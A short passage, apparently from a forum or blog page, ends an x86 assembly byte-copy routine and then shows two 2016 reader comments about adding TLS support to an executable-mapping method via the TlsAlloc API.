test ecx, ecx ; If size is null
je endCopy ; We quit
copyLoop:
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
dec ecx
test ecx, ecx
jne copyLoop
endCopy:
pop ecx edi esi
ret
endp
EOF:
* - xor - Feb 8, 2016
Hi xash, did you ever try TLS support with this method ? does tls must be mappend on the output exe (on disk) ?
* - Generalissimo - Feb 8, 2016
You can add the TLS support without modify the output executable, just with the API (ex: TlsAlloc).
|